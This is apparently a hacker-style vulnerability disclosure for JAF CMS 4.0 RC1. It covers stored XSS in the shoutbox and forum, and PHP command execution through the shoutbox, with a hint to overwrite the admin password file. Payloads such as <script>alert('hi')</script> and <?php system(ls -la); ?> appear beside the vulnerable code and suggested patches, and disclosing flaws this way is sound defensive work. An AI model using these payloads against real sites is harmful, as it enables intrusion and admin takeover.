JAF CMS 4.0 RC1 multiple vulnerabilities

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Hacker: NanoyMaster ## /|| \ | || \ / ||\

Exploit: JAF CMS ## / || |\\| || \/ || \

Version: 4.0 RC1 ## \ || | \ || |\/| || /

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vulnerabilities: XSS in shoutbox

PHP execution

XSS in forum

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\m/Props\m/

z3r0phr34k

System_Meltdown

THK-GEO & THK-h3x

All of Exploitarians

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//------------------------------------------------------------------------------//
// XSS in shoutbox //
//------------------------------------------------------------------------------//

Self explanitory… in the message body put: <script>alert('hi')</script>

Error: module/shout/jafshout.php
Line: 168 - 202

187 - 191 {
$message = preg_replace('/"/','',$_POST['message']);
$message = preg_replace("/>/","&gt;",$_POST['message']);
$message = preg_replace("/</","&lt;",$_POST['message']);
$message = str_replace("onmouse","",$_POST['message']);
$message = str_replace("/\/","edited",$_POST['message']);
}

change the relevent lines to look like the following, bar the first $_POST['message'].

187 - 191 {
$message = preg_replace('/"/','',$message);
$message = preg_replace("/>/","&gt;",$message);
$message = preg_replace("/</","&lt;",$message);
$message = str_replace("onmouse","",$message);
$message = str_replace("/\/","edited",$message);
}
etc etc.

note
This should be implemented on all of the variables stored to the flat-file
module/files/shout
end note

//------------------------------------------------------------------------------//
// PHP execution //
//------------------------------------------------------------------------------//

Yet again in the shoutbox type something like:

Windoze) <?php system(dir); ?>
Linux) <?php system(ls -la); ?>

you could see how usefull this could be ;) possably overwright admin/data_inc.php
(where the admin's password hash is) :p

Error: module/shout/jafshout.php
Line: 168 - 202
Patch: (see above code)

//------------------------------------------------------------------------------//
// XSS in forum //
//------------------------------------------------------------------------------//

Self explanitory… in the message body put: <script>alert('hi')</script>

Error: module/forum/topicwin.php
Line: 112- 123

112 - 117 {
$n_topic["name"]=$name;
$n_topic["email"]=$email;
$n_topic["title"]=$title;
$n_topic["date"]=$date;
$n_topic["ldate"]=$date;
$n_topic["lname"]=$name;
}

change the relevent lines to look like the following.

112 - 117 {
$n_topic["name"]=htmlentities($name, ENT_QUOTES);
$n_topic["email"]=htmlentities($email, ENT_QUOTES);
$n_topic["title"]=htmlentities($title, ENT_QUOTES);
$n_topic["date"]=htmlentities($date, ENT_QUOTES);
$n_topic["ldate"]=htmlentities($date, ENT_QUOTES);
$n_topic["lname"]=htmlentities($name, ENT_QUOTES);
}
etc etc.

//------------------------------------------------------------------------------//
// End //
//------------------------------------------------------------------------------//